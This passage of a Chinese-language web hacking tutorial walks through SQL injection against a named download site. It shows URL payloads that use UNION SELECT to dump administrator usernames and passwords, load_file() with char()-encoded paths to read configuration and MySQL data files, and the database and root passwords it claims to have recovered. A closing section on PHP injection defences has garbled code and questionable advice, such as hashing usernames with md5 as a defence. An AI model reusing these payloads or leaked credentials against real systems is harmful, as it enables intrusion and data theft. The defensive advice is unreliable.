 ------------------------- -------- -------------------------   
                           常規設置                             
 ------------------------- -------- -------------------------   




 數據庫信息  
$dbhost = localhost;  數據庫主機名  
$dbuser = download; 數據庫用戶名  
$dbpasswd = kunstar988;  數據庫密碼  
$dbname = download;  數據庫名  


 Cookie 名稱  
$cookie_name = heibai; 
 版本號  
$version = 1.0.1;  


 數據表名  
$down_table = ymdown;  
$down_user_table = ymdown_user;  
$down_sort1_table = ymdown_sort1;  
$down_sort2_table = ymdown_sort2;  
暈原來用的是夜貓的下載系統,並且咱們知道了 
$dbuser = download; 數據庫用戶名  
$dbpasswd = kunstar988;  數據庫密碼  
說不定呆會有用哦。 
用的表名是默認的表名,咱們知道夜貓的管理員密碼放在ymdown_user中 
咱們繼續httpwww.heibai.netdownshow.phpid=5403%20and%201=2%20union%20select%201,2,3,username,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19 from ymdown_user 
結果如圖42 


根據提示咱們知道文件大小處的是username,應用平臺處的是password(對照圖36) 
即username=dload,password=6558428,夜貓的後臺默認在admin目錄下,我試驗了好久都沒有找到,暈之。 
想直接鏈接mysql,發現telnet端口並無開放。咱們去看看別的吧! 
httpwww.heibai.netviparticlelogin.php 
看起來像是會員的登錄哦,咱們看看先 
dwebheibaiviparticlelogin.php 
轉化成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,103,105,110,46,112,104,112) 
咱們輸入 
httpwww.heibai.netdownshow.phpid=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,103,105,110,46,112,104,112)),13,14,15,16,17,18,19 
結果如圖43: 


其中 
require (.includeglobal.php);  
require (.includeconfig.inc.php);  
require (.mainfunction.php);  
require (.function.php); 
固然了,咱們去看config.inc.php吧 
dwebheibaiviparticleincludeconfig.inc.php 
轉成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112) 
輸入 
httpwww.heibai.netdownshow.phpid=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19 
結果如圖44 


顯示了不少好東西哦 


$dbhost = localhost;  數據庫主機名  
$dbuser = root;  數據庫用戶名  
$dbpass = 234ytr8ut;  數據庫密碼  
$dbname = article;  數據庫名 
$ymcms_user_table = user;  
$ymcms_usergroup_table = usergroup;  
$ymcms_userrace_table = userrace;  
表仍是默認的表,並且出來了root的密碼 
要是能連上它的mysql該多好啊,那樣咱們就能夠into outfile了 
痛苦的找了找phpmyadmin,沒有找見,或許根本就沒有用。 
讀cwinntphp.ini發現 
; Magic quotes  
;  
; Magic quotes for incoming GETPOSTCookie data.  
magic_quotes_gpc = On 
55555555,痛苦中,咱們看看能不能搞幾個會員帳號 
猜想會員帳號放在user表中,咱們直接讀data下article文件夾裏的user.myd文件 
Articleuser.myd轉換成 
char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100) 
咱們輸入 
httpwww.heibai.netdownshow.phpid=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)),13,14,15,16,17,18,19 
結果如圖45: 


暈了,居然沒有返回。咱們來讀Articleuser.frm 
httpwww.heibai.netdownshow.phpid=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,102,114,109)),13,14,15,16,17,18,19 
結果如圖46 


暈了,表結構都在,並且讀Articleuser.myi時也成功,但是爲何Articleuser.myd讀不出來呢要是magic_quotes_gpc=Off咱們還能夠into outfile來看看,但是…… 
鬱悶中,測試就這樣結束吧,下面的工做仍是留給大家來完成吧! 
文中所述問題已經通知星坤了! 
四:php+mysql注入的防範方法。 
在上一期的專題裏已經講了不少的防範方法,這裏我就主要講一下php+mysql注射攻擊的防範方法。 
你們看到,在magic_quotes_gpc=On的時候,不少的注射攻擊已經沒有做用了。 
咱們能夠利用這個來加固咱們的程序。Addslashes()函數等同於magic_quotes_gpc=On,並且與magic_quotes_gpc=On也不衝突,咱們能夠這樣過濾 
$username = addslashes($username); 
$query=SELECT  FROM users WHERE userid='$username'); 
對於id型咱們能夠利用intval()函數,intval()函數能夠將變量轉換成整數類型,這樣就能夠了。 
咱們能夠這樣 
$id = intval($id); 
$query=SELECT  FROM alphadb WHERE articleid='$id');  
若是是字符型的呢? 
咱們能夠先用addslashes()過濾一下,而後再過濾」%」和」_」. 
例如: 
$search = addslashes($search); 
$search = str_replace(_,_,$search); 
$search = str_replace(%,%,$search); 
記得,可千萬別在magic_quotes_gpc=On的狀況下替換爲,以下: 
$password=str_replace(,,$password); 
我記得在darkness的文章《對某PHP站點的一次滲透》中提到過這個問題(在光盤中有收錄)。 
還有的就是登錄的地方,若是是隻用一個管理員管理的話,咱們能夠直接對username和passwd用md5加密,這樣就不用懼怕注入技術的發展了。 
Username=md5($HTTP_POST_VARS[username]); 
Passwd=md5($HTTP_POST_VARS[passwd]); 
個人後臺登錄就是這樣子的哦。 web

相關文章
相關標籤/搜索